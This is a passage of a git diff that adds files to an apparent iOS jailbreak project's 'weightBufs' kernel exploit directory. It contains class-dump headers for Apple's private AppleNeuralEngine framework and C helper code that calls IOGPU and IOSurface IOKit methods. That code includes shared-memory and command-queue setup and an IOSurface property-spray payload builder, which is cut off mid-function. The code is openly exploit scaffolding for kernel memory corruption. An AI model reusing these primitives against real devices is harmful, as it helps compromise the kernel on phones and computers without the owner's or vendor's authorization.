Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANELog : NSObject ++(id)tool; ++(id)daemon; ++(id)common; ++(id)service; ++(id)framework; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEModel.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEModel.h new file mode 100644 index 0000000000..7bd6c4045a --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEModel.h @@ -0,0 +1,79 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + +//#import +#import "AppleNeuralEngine-Structs.h" + +//#import +//#import + +@class NSURL, NSString, NSDictionary, _ANEProgramForEvaluation; + +@interface _ANEModel : NSObject { + + char _queueDepth; + unsigned _perfStatsMask; + os_unfair_lock_s _l; + NSURL* _modelURL; + NSString* _key; + unsigned long long _string_id; + unsigned long long _programHandle; + unsigned long long _intermediateBufferHandle; + NSDictionary* _modelAttributes; + _ANEProgramForEvaluation* _program; + +} + +@property (nonatomic,retain) NSDictionary * modelAttributes; //@synthesize modelAttributes=_modelAttributes - In the implementation block +@property (assign,nonatomic) unsigned long long programHandle; //@synthesize programHandle=_programHandle - In the implementation block +@property (assign,nonatomic) char queueDepth; //@synthesize queueDepth=_queueDepth - In the implementation block +@property (assign,nonatomic) unsigned long long intermediateBufferHandle; //@synthesize intermediateBufferHandle=_intermediateBufferHandle - In the implementation block +@property (assign,nonatomic) os_unfair_lock_s l; //@synthesize l=_l - In the implementation block +@property (nonatomic,retain) _ANEProgramForEvaluation * program; //@synthesize program=_program - In the implementation block +@property (assign,nonatomic) unsigned perfStatsMask; //@synthesize perfStatsMask=_perfStatsMask - In the implementation block +@property (nonatomic,readonly) NSURL * modelURL; //@synthesize modelURL=_modelURL - In the implementation block +@property (nonatomic,copy,readonly) NSString * key; //@synthesize key=_key - In the implementation block +@property (nonatomic,readonly) unsigned long long string_id; //@synthesize string_id=_string_id - In the implementation block ++(id)new; ++(BOOL)supportsSecureCoding; ++(id)modelAtURL:(id)arg1 key:(id)arg2 ; ++(id)sandboxExtensionPathsForModelURL:(id)arg1 ; ++(id)modelAtURL:(id)arg1 key:(id)arg2 modelAttributes:(id)arg3 ; +-(os_unfair_lock_s)l; +-(id)copyWithZone:(NSZone*)arg1 ; +-(NSString *)key; +-(void)setL:(os_unfair_lock_s)arg1 ; +-(void)dealloc; +-(void)reset; +-(id)init; +-(BOOL)isEqual:(id)arg1 ; +-(id)initWithCoder:(id)arg1 ; +-(NSURL *)modelURL; +-(void)setProgram:(_ANEProgramForEvaluation *)arg1 ; +-(void)encodeWithCoder:(id)arg1 ; +-(_ANEProgramForEvaluation *)program; +-(NSDictionary *)modelAttributes; +-(unsigned long long)intermediateBufferHandle; +-(unsigned long long)hash; +-(id)description; +-(unsigned long long)programHandle; +-(char)queueDepth; +-(void)setProgramHandle:(unsigned long long)arg1 ; +-(void)setIntermediateBufferHandle:(unsigned long long)arg1 ; +-(unsigned long long)string_id; +-(unsigned)perfStatsMask; +-(id)initWithModelAtURL:(id)arg1 key:(id)arg2 modelAttributes:(id)arg3 ; +-(void)setModelAttributes:(NSDictionary *)arg1 ; +-(void)setQueueDepth:(char)arg1 ; +-(BOOL)isEqualToModel:(id)arg1 ; +-(void)updateModelAttributes:(id)arg1 ; +-(void)updateModelAttributes:(id)arg1 programHandle:(unsigned long long)arg2 intermediateBufferHandle:(unsigned long long)arg3 queueDepth:(char)arg4 ; +-(id)keyForBundleID:(id)arg1 ; +-(void)setPerfStatsMask:(unsigned)arg1 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEPerformanceStats.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEPerformanceStats.h new file mode 100644 index 0000000000..a916f6d0b5 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEPerformanceStats.h @@ -0,0 +1,35 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@class NSData; + +@interface _ANEPerformanceStats : NSObject { + + unsigned long long _hwExecutionTime; + NSData* _perfCounterData; + +} + +@property (nonatomic,readonly) NSData * perfCounterData; //@synthesize perfCounterData=_perfCounterData - In the implementation block +@property (nonatomic,readonly) unsigned long long hwExecutionTime; //@synthesize hwExecutionTime=_hwExecutionTime - In the implementation block ++(id)new; ++(unsigned)driverMaskForANEFMask:(unsigned)arg1 ; ++(id)statsWithRequestPerformanceBuffer:(void*)arg1 statsBufferSize:(unsigned*)arg2 ; ++(id)statsWithHardwareExecutionNS:(unsigned long long)arg1 ; +-(id)init; +-(id)description; +-(unsigned long long)hwExecutionTime; +-(void)emitPerfcounterSignpostsWithModelStringID:(unsigned long long)arg1 ; +-(id)performanceCounters; +-(id)initWithHardwareExecution:(unsigned long long)arg1 perfCounterData:(id)arg2 ; +-(id)initWithRequestPerformanceBuffer:(void*)arg1 statsBufferSize:(unsigned*)arg2 ; +-(NSData *)perfCounterData; +-(id)stringForPerfCounter:(int)arg1 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEProgramForEvaluation.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEProgramForEvaluation.h new file mode 100644 index 0000000000..aadfd4e98f --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEProgramForEvaluation.h @@ -0,0 +1,47 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@protocol OS_dispatch_semaphore; +@class _ANEDeviceController, NSObject; + +@interface _ANEProgramForEvaluation : NSObject { + + char _queueDepth; + _ANEDeviceController* _controller; + unsigned long long _programHandle; + unsigned long long _intermediateBufferHandle; + NSObject* _requestsInFlight; + long long _currentAsyncRequestsInFlight; + +} + +@property (nonatomic,readonly) _ANEDeviceController * controller; //@synthesize controller=_controller - In the implementation block +@property (assign,nonatomic) unsigned long long programHandle; //@synthesize programHandle=_programHandle - In the implementation block +@property (assign,nonatomic) unsigned long long intermediateBufferHandle; //@synthesize intermediateBufferHandle=_intermediateBufferHandle - In the implementation block +@property (nonatomic,readonly) char queueDepth; //@synthesize queueDepth=_queueDepth - In the implementation block +@property (nonatomic,readonly) NSObject* requestsInFlight; //@synthesize requestsInFlight=_requestsInFlight - In the implementation block +@property (assign,nonatomic) long long currentAsyncRequestsInFlight; //@synthesize currentAsyncRequestsInFlight=_currentAsyncRequestsInFlight - In the implementation block ++(id)new; ++(id)programWithHandle:(unsigned long long)arg1 intermediateBufferHandle:(unsigned long long)arg2 queueDepth:(char)arg3 ; +-(void)dealloc; +-(id)init; +-(unsigned long long)intermediateBufferHandle; +-(_ANEDeviceController *)controller; +-(id)description; +-(id)initWithHandle:(unsigned long long)arg1 intermediateBufferHandle:(unsigned long long)arg2 queueDepth:(char)arg3 ; +-(unsigned long long)programHandle; +-(char)queueDepth; +-(NSObject*)requestsInFlight; +-(long long)currentAsyncRequestsInFlight; +-(void)setCurrentAsyncRequestsInFlight:(long long)arg1 ; +-(BOOL)processRequest:(id)arg1 qos:(unsigned)arg2 qIndex:(unsigned long long)arg3 modelStringID:(unsigned long long)arg4 options:(id)arg5 error:(id*)arg6 ; +-(void)setProgramHandle:(unsigned long long)arg1 ; +-(void)setIntermediateBufferHandle:(unsigned long long)arg1 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEQoSMapper.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEQoSMapper.h new file mode 100644 index 0000000000..6d68713013 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEQoSMapper.h @@ -0,0 +1,22 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEQoSMapper : NSObject ++(unsigned)aneUserInteractiveTaskQoS; ++(unsigned)aneRealTimeTaskQoS; ++(unsigned)aneUserInitiatedTaskQoS; ++(unsigned)aneDefaultTaskQoS; ++(unsigned)aneUtilityTaskQoS; ++(unsigned)aneBackgroundTaskQoS; ++(unsigned long long)queueIndexForQoS:(unsigned)arg1 ; ++(unsigned long long)realTimeQueueIndex; ++(int)programPriorityForQoS:(unsigned)arg1 ; ++(int)realTimeProgramPriority; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANERequest.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANERequest.h new file mode 100644 index 0000000000..be91ed6843 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANERequest.h @@ -0,0 +1,49 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@class NSArray, _ANEIOSurfaceObject, NSNumber, _ANEPerformanceStats; + +@interface _ANERequest : NSObject { + + NSArray* _inputArray; + NSArray* _inputIndexArray; + NSArray* _outputArray; + NSArray* _outputIndexArray; + _ANEIOSurfaceObject* _weightsBuffer; + NSNumber* _procedureIndex; + _ANEPerformanceStats* _perfStats; + /*^block*/id _completionHandler; + +} + +@property (nonatomic,retain) _ANEPerformanceStats * perfStats; //@synthesize perfStats=_perfStats - In the implementation block +@property (nonatomic,readonly) NSArray * inputArray; //@synthesize inputArray=_inputArray - In the implementation block +@property (nonatomic,readonly) NSArray * inputIndexArray; //@synthesize inputIndexArray=_inputIndexArray - In the implementation block +@property (nonatomic,readonly) NSArray * outputArray; //@synthesize outputArray=_outputArray - In the implementation block +@property (nonatomic,readonly) NSArray * outputIndexArray; //@synthesize outputIndexArray=_outputIndexArray - In the implementation block +@property (nonatomic,readonly) _ANEIOSurfaceObject * weightsBuffer; //@synthesize weightsBuffer=_weightsBuffer - In the implementation block +@property (nonatomic,copy,readonly) NSNumber * procedureIndex; //@synthesize procedureIndex=_procedureIndex - In the implementation block +@property (copy) id completionHandler; //@synthesize completionHandler=_completionHandler - In the implementation block ++(id)requestWithInputs:(id)arg1 inputIndices:(id)arg2 outputs:(id)arg3 outputIndices:(id)arg4 weightsBuffer:(id)arg5 procedureIndex:(id)arg6 ; ++(id)requestWithInputs:(id)arg1 inputIndices:(id)arg2 outputs:(id)arg3 outputIndices:(id)arg4 procedureIndex:(id)arg5 ; +-(BOOL)validate; +-(_ANEIOSurfaceObject *)weightsBuffer; +-(void)setCompletionHandler:(id)arg1 ; +-(id)description; +-(id)completionHandler; +-(NSArray *)inputArray; +-(NSArray *)inputIndexArray; +-(NSArray *)outputArray; +-(NSArray *)outputIndexArray; +-(NSNumber *)procedureIndex; +-(void)setPerfStats:(_ANEPerformanceStats *)arg1 ; +-(_ANEPerformanceStats *)perfStats; +-(id)initWithInputs:(id)arg1 inputIndices:(id)arg2 outputs:(id)arg3 outputIndices:(id)arg4 weightsBuffer:(id)arg5 procedureIndex:(id)arg6 ; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEStrings.h b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEStrings.h new file mode 100644 index 0000000000..1e633cf9e1 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/AppleNeuralEngine/_ANEStrings.h @@ -0,0 +1,38 @@ +/* +* This header is generated by classdump-dyld 1.0 +* on Thursday, September 24, 2020 at 12:37:44 AM British Summer Time +* Operating System: Version 14.0 (Build 18A373) +* Image Source: /System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine +* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. +*/ + + +@interface _ANEStrings : NSObject ++(id)cacheDirectory; ++(id)machServiceName; ++(id)errorDomainGeneric; ++(id)testing_cacheDirectory; ++(id)testing_inputDirectory; ++(id)testing_modelDirectory; ++(id)cacheDeleteServiceName; ++(id)machServiceNamePrivate; ++(id)modelCacheDirectoryWithBuildVersion:(id)arg1 ; ++(id)tempDirectory; ++(id)cloneDirectory; ++(id)errorDomainCompiler; ++(id)errorDomainEspresso; ++(id)restrictedAccessEntitlement; ++(id)compilerServiceAccessEntitlement; ++(id)modelBinaryName; ++(id)defaultCompilerOptionsFilename; ++(id)dataVaultStorageClass; ++(id)testing_cacheDirectoryWithSuffix:(id)arg1 ; ++(id)testing_cacheDirectoryWithSuffix:(id)arg1 buildVersion:(id)arg2 ; ++(id)testing_tempDirectory:(id)arg1 ; ++(id)testing_cloneDirectory:(id)arg1 ; ++(id)testing_modelDirectory:(id)arg1 ; ++(id)testing_modelNames; ++(id)testing_encryptedModelNames; ++(id)testing_dataVaultStorageClass; +@end + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.c b/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.c new file mode 100644 index 0000000000..ca22411c4f --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.c @@ -0,0 +1,197 @@ +#include "IOGPU.h" + +struct IOGPUNotificationQueueData * do_s_create_notificationqueue(io_connect_t client) +{ + + uint32_t structInputCnt = 0; + uint32_t structOutputCnt = 16; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + args->client = client; + +#if TARGET_OS_OSX + u32 selector = 17; +#else + u32 selector = 15; +#endif + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + + CHECK_IOKIT_ERR(kr, "s_create_notificationqueue"); + + struct IOGPUNotificationQueueData * output = (struct IOGPUNotificationQueueData *)args->sOutput; + args->sOutput = NULL; + + destroy_args(args); + return output; +} + + +void do_s_destroy_notificationqueue(io_connect_t client,uint32_t id) +{ + + uint32_t structInputCnt = 0; + uint32_t structOutputCnt = 0; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + args->client = client; + + args->scalarISize = 1; + args->scalarI[0] = id; + +#if TARGET_OS_OSX + u32 selector = 18; +#else + u32 selector = 16; +#endif + + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + CHECK_IOKIT_ERR(kr, "s_destroy_notificationqueue"); + + destroy_args(args); +} + + +struct shmem * do_s_create_shmem(io_connect_t client,uint32_t shm_size,uint32_t shm_type) +{ + + uint32_t structInputCnt = 0; + uint32_t structOutputCnt = 16; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + args->client = client; + + args->scalarISize = 2; + args->scalarI[0] = shm_size; // size + args->scalarI[1] = shm_type; // shmem type + + // types : 2 -> AGXDebugBufferShmem, else : IOGPUDeviceShmem + +#if TARGET_OS_OSX + u32 selector = 15; +#else + u32 selector = 13; +#endif + + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + CHECK_IOKIT_ERR(kr, "s_create_shmem"); + if(kr != KERN_SUCCESS) { + destroy_args(args); + return NULL; + } + + struct shmem * output = (struct shmem *)args->sOutput; + args->sOutput = NULL; + destroy_args(args); + return output; +} + +kern_return_t do_s_new_command_queue(io_connect_t client,void *in,uint32_t *queue_id) +{ + + uint32_t structInputCnt = 1032; + uint32_t structOutputCnt = 16; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + uint8_t * input = (uint8_t *)args->sInput; + memcpy(input,in,structInputCnt); + + args->client = client; + + +#if TARGET_OS_OSX + u32 selector = 8; +#else + u32 selector = 7; +#endif + + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + CHECK_IOKIT_ERR(kr, "s_new_command_queue"); + *queue_id = *(uint32_t *)args->sOutput; + + destroy_args(args); + return kr; +} + +void do_s_submit_command_buffers(io_connect_t client,uint32_t cmdqID,uint8_t *buf,uint32_t size) +{ + + uint32_t structInputCnt = size; + uint32_t structOutputCnt = 0; + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + uint8_t * input = (uint8_t *)args->sInput; + memcpy(input,buf,size); + args->client = client; + + args->scalarISize = 1; + args->scalarI[0] = cmdqID; + +#if TARGET_OS_OSX + u32 selector = 30; +#else + u32 selector = 26; +#endif + + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + CHECK_IOKIT_ERR(kr, "s_submit_command_buffers"); + destroy_args(args); +} + +kern_return_t do_s_set_command_queue_notification_queue(io_connect_t client,uint32_t command_id,uint32_t notify_id) +{ + + uint32_t structInputCnt = 0; + uint32_t structOutputCnt = 0; + + IOKit_args_t *args = allocate_args(structInputCnt,structOutputCnt, False); + + args->client = client; + + args->scalarISize = 2; + args->scalarI[0] = command_id; + args->scalarI[1] = notify_id; +#if TARGET_OS_OSX + u32 selector = 29; +#else + u32 selector = 25; +#endif + + kern_return_t kr = IOConnectCallMethod(args->client, + selector, + args->scalarI,args->scalarISize, + args->sInput, args->sInputSize, + args->scalarO, (uint32_t *)&args->scalarOSize, + args->sOutput, (size_t *)&args->sOutputSize); + CHECK_IOKIT_ERR(kr, "s_set_command_queue_notification_queue"); + destroy_args(args); + return kr; +} diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.h b/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.h new file mode 100644 index 0000000000..90775e54d6 --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/IOGPU.h @@ -0,0 +1,163 @@ +#ifndef H_IOGPU_H +#define H_IOGPU_H + +#include "iokit.h" + +struct IOGPUNotificationQueueData +{ + uint64_t address; + uint32_t id; +}; + +struct shmem { + uint8_t *shm_addr; + uint32_t shm_len; + uint32_t shm_id; +}; + +typedef struct { + vm_address_t gpuAddress; + vm_address_t shm_addr; + vm_address_t ro_addr; + uint32_t unk_0x18; + int resource_id; + size_t resident_size; + uint64_t unk_0x28; + uint64_t unk_0x30; + uint64_t unk_0x38; + uint64_t protection; + uint64_t unk_0x48; +}IOGPUNewResourceReturnData; + +typedef uint32_t u32; +typedef uint64_t u64; +typedef struct { + uint32_t field_0; + uint32_t count; // how many submitArgs do we have in this structure ? +} IOGPUCommandQueueSubmitArgs_Header_t; + +typedef struct { + uint32_t shmid_1; + uint32_t shmid_3; + uint32_t shmid_2; + uint64_t notify_1; + uint64_t notify_2; + uint32_t debug_shm_id; + uint32_t padding; +} IOGPUCommandQueueSubmitArgs_Command_t; + + +typedef struct { + IOGPUCommandQueueSubmitArgs_Header_t hdr; + IOGPUCommandQueueSubmitArgs_Command_t body[1]; +} IOGPUCommandQueueSubmitArgs_t; + + + +/* Shmem1 struct for s_submit_command_buffers() */ + +struct IOGPUKernelCommand_Cmd_0x10005 { + u64 mtlateevent_id; + u64 kdebug_id; +}; + +struct IOGPUKernelCommand_Cmd_0x10003 { + u64 var1; // must be less than 0x100 + u64 unused; +}; + +struct IOGPUKernelCommand_Cmd_0x2 { + u64 sleep; // put the thread to sleep +}; + +struct IOGPUKernelCommand_Cmd_0x3 { + u32 IOSurfacesharedEventId; + u32 padd; + u64 raw_64; +}; + +struct IOGPUKernelCommand_Cmd_0x4 { + u32 IOSurfacesharedEventId; + u32 padd; + u64 raw_64; +}; + +struct IOGPUKernelCommand_Cmd_0x5 { + u64 MTLEventId; + u64 tosubmit; +}; + +struct IOGPUKernelCommand_Cmd_0x6 { + u64 MTLEventId; + u64 value; +}; + +// must be bigger than > 4 +struct IOGPUKernelCommand_Cmd_0x8 { + u32 resId_count; + u32 resourceIds[]; +}; + + +struct IOGPUKernelCommand_Cmd_0x9 { + u64 protection; +}; + +union IOGPUKernelCommand_Cmd +{ + /* ... */ + /* processKernelCommands ... */ + struct IOGPUKernelCommand_Cmd_0x10003 Cmd_0x10003; + struct IOGPUKernelCommand_Cmd_0x10005 Cmd_0x10005; + struct IOGPUKernelCommand_Cmd_0x2 Cmd_0x2; + struct IOGPUKernelCommand_Cmd_0x3 Cmd_0x3; + struct IOGPUKernelCommand_Cmd_0x4 Cmd_0x4; + struct IOGPUKernelCommand_Cmd_0x5 Cmd_0x5; + struct IOGPUKernelCommand_Cmd_0x6 Cmd_0x6; + struct IOGPUKernelCommand_Cmd_0x8 Cmd_0x8; + struct IOGPUKernelCommand_Cmd_0x9 Cmd_0x9; + +}; + +struct IOGPUKernelCommand +{ + int type; + int size; + union IOGPUKernelCommand_Cmd cmd; +}; + + + +/* Shmem3 struct for s_submit_command_buffers() */ +struct Shmem3_header +{ + uint32_t field0; + uint32_t field4; + uint32_t count; + uint32_t fieldC; +}; + +struct Shmem3_offsets +{ + uint32_t kernelCommandStart; + uint32_t kernelCommandEnd; +}; + +struct Shmem3 +{ + struct Shmem3_header hdr; + struct Shmem3_offsets off; +}; + + + +IOGPUNewResourceReturnData * do_s_new_resource(io_connect_t client, const char *str,size_t size, int *retval); +struct IOGPUNotificationQueueData * do_s_create_notificationqueue(io_connect_t client); +void do_s_destroy_notificationqueue(io_connect_t client,uint32_t id); +struct shmem * do_s_create_shmem(io_connect_t client,uint32_t shm_size,uint32_t shm_type); +kern_return_t do_s_new_command_queue(io_connect_t client,void *in,uint32_t *queue_id); +void do_s_submit_command_buffers(io_connect_t client,uint32_t cmdqID,uint8_t *buf,uint32_t size); +kern_return_t do_s_set_command_queue_notification_queue(io_connect_t client,uint32_t command_id,uint32_t notify_id); + +#endif /* H_IOGPU_H */ + diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.c b/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.c new file mode 100644 index 0000000000..1aec15471a --- /dev/null +++ b/Application/Dopamine/Exploits/weightBufs/exploit/IOSurface.c @@ -0,0 +1,296 @@ +#include "IOSurface.h" + +io_connect_t get_surface_client(void) +{ + return iokit_get_connection("IOSurfaceRoot",0); +} + + +io_connect_t create_surface_fast_path(io_connect_t surface,uint32_t *surface_id,IOSurfaceFastCreateArgs *args) +{ + io_connect_t conn = surface; + kern_return_t kr = KERN_SUCCESS; + + char output[IOSurfaceLockResultSize] = {0}; + size_t output_cnt = IOSurfaceLockResultSize; + + if (surface == 0) { + conn = get_surface_client(); + } + + kr = IOConnectCallMethod(conn, 6, 0,0, + args, 0x20, + NULL, NULL, output, &output_cnt); + CHECK_IOKIT_ERR(kr, "create_surface_fast_path"); + assert(kr == KERN_SUCCESS); + + if (surface_id != NULL) + *surface_id = *(uint32_t *)(output + 0x18); + + return conn; +} + +io_connect_t release_surface(io_connect_t surface,uint32_t surface_id) +{ + io_connect_t conn = surface; + kern_return_t kr = KERN_SUCCESS; + + uint64_t scalar = (uint64_t)surface_id; + kr = IOConnectCallMethod(conn, 1, &scalar,1, + NULL,0, + NULL, NULL, NULL, NULL); + CHECK_IOKIT_ERR(kr, "release_surface"); + assert(kr == KERN_SUCCESS); + + return conn; +} + + +mach_port_t iosurface_create_shared_event(io_connect_t c) +{ + kern_return_t kr = KERN_SUCCESS; + + uint32_t outputSize = 1; + uint64_t port = 0; + kr = IOConnectCallMethod(c, 36, 0,0, + NULL, 0, + &port, &outputSize, NULL, NULL); + CHECK_IOKIT_ERR(kr, "do_create_shared_event"); + return (mach_port_t)port; +} + +kern_return_t iosurface_signal_shared_event(io_connect_t c,mach_port_t sharedRefId, uint64_t signal) +{ + kern_return_t kr = KERN_SUCCESS; + uint64_t scalar[2] = {(uint64_t)sharedRefId,signal}; + + kr = IOConnectCallMethod(c, 37, scalar,2, + NULL, 0, + NULL, NULL, NULL, NULL); + CHECK_IOKIT_ERR(kr, "iosurface_signal_shared_event"); + return kr; +} + + +kern_return_t iosurface_query_shared_event(io_connect_t c,mach_port_t sharedRefId) +{ + kern_return_t kr = KERN_SUCCESS; + uint64_t scalar[1] = {(uint64_t)sharedRefId}; + uint64_t scalarO[2] = {0}; + uint32_t scalarOSize = 2; + + kr = IOConnectCallMethod(c, 38, scalar,1, + NULL, 0, + scalarO,&scalarOSize , NULL, NULL); + CHECK_IOKIT_ERR(kr, "iosurface_query_shared_event"); + //printf("Completed Value 0x%llx \n",scalarO[0]); + + return kr; +} + +kern_return_t iosurface_notify_shared_event(io_connect_t c,mach_port_t sharedRefId, + uint64_t arg1, + uint64_t arg2, + uint64_t arg3, + uint64_t arg4) +{ + kern_return_t kr = KERN_SUCCESS; + uint64_t scalar[5] = {(uint64_t)sharedRefId,arg1,arg2,arg3,arg4}; + + kr = IOConnectCallMethod(c, 39, scalar,5, + NULL, 0, + NULL,NULL , NULL, NULL); + CHECK_IOKIT_ERR(kr, "iosurface_noitfy_shared_event"); + + return kr; +} + + +void add_shared_event_notification_port(io_connect_t c,mach_port_t port,uint64_t *references) +{ + kern_return_t kr = KERN_SUCCESS; + + kr = IOConnectCallAsyncMethod(c, 40, port, references, 8, + NULL, 0, + NULL, 0, + NULL, NULL, + NULL, NULL); + CHECK_IOKIT_ERR(kr, "add_shared_event_notification_port"); +} + + +void notify_shared_event(io_connect_t c,u64 sharedRefId, u64 refcon, u64 a,u64 b,u64 cc) +{ + kern_return_t kr = KERN_SUCCESS; + + uint64_t scalars[5] = {sharedRefId,refcon,a,b,cc}; + kr = IOConnectCallMethod(c, 39, scalars,5, + NULL, 0, + NULL, NULL, NULL, NULL); + CHECK_IOKIT_ERR(kr, "do_create_shared_event"); + +} + + + +uint32_t *prop_data = 0; +vm_size_t prop_data_size = 0xff000000; +void * init_iosurface_prop_data(void) +{ + if(prop_data) + return prop_data; + + mach_vm_address_t addr = 0; +#if TARGET_OS_IOS + prop_data_size = 0xf000000; +#endif + kern_return_t kr = _kernelrpc_mach_vm_allocate_trap(mach_task_self(),&addr,prop_data_size,1); + + CHECK_IOKIT_ERR(kr, "allocate_properties_buf"); + prop_data = (uint32_t*)addr; + return prop_data; + +} + + +void iosurface_remove_property(io_connect_t surface,uint32_t surface_id,uint32_t key) +{ + + kern_return_t kr = KERN_SUCCESS; + uint64_t _output = 0; + size_t output_cnt = 4; + + uint64_t payload[2]; + payload[0] = surface_id; + payload[1] = key; + + kr = IOConnectCallMethod(surface, 11, + NULL, + 0, + payload, + 0x10, + NULL, NULL, + &_output, &output_cnt); + + assert(kr == KERN_SUCCESS); +} + +void iosurface_get_value(io_connect_t client,uint32_t surface_id,uint32_t key,void *output,size_t *outputSize) +{ + + kern_return_t kr = KERN_SUCCESS; + uint64_t payload[2]; + payload[0] = surface_id; + payload[1] = key; + + kr = IOConnectCallMethod(client, + 10, + NULL, + 0, + payload, + 0x10, + NULL, NULL, + output, outputSize); + + assert(kr == KERN_SUCCESS); +} + +void iosurface_set_value(io_connect_t surface,uint32_t surface_id) +{ + kern_return_t kr = KERN_SUCCESS; + uint64_t _output = 0; + size_t output_cnt = 4; + + *(uint64_t *) prop_data = surface_id; + + kr = IOConnectCallMethod(surface, 9, + NULL, + 0, + prop_data, + prop_data_size, + NULL, NULL, + &_output, &output_cnt); + + CHECK_IOKIT_ERR(kr, "iosurface_set_value"); + assert(kr == KERN_SUCCESS); +} + +uint32_t build_iosurface_payload(uint32_t count,uint8_t *data,uint32_t datasize,uint32_t key) +{ + assert(prop_data != NULL); + + uint32_t * binary = prop_data + 2; + memset((char *)prop_data,0,prop_data_size ); + + int cur = 0; + + binary[cur++] = kOSSerializeBinarySignature; + binary[cur++] = (kOSSerializeEndCollection| kOSSerializeArray | 2); + + binary[cur++] = (kOSSerializeArray | count); + // count : how many object we want ? + for(int i=0; i< count; i++) { + int end = (i == (count -1))? kOSSerializeEndCollection : 0; + binary[cur++] = (end |kOSSerializeData | datasize ); + memcpy((char *)&binary[cur],data,datasize); + cur += (datasize +3)/4; + } + + binary[cur++] = (kOSSerializeEndCollection | kOSSerializeSymbol | 5); // key + 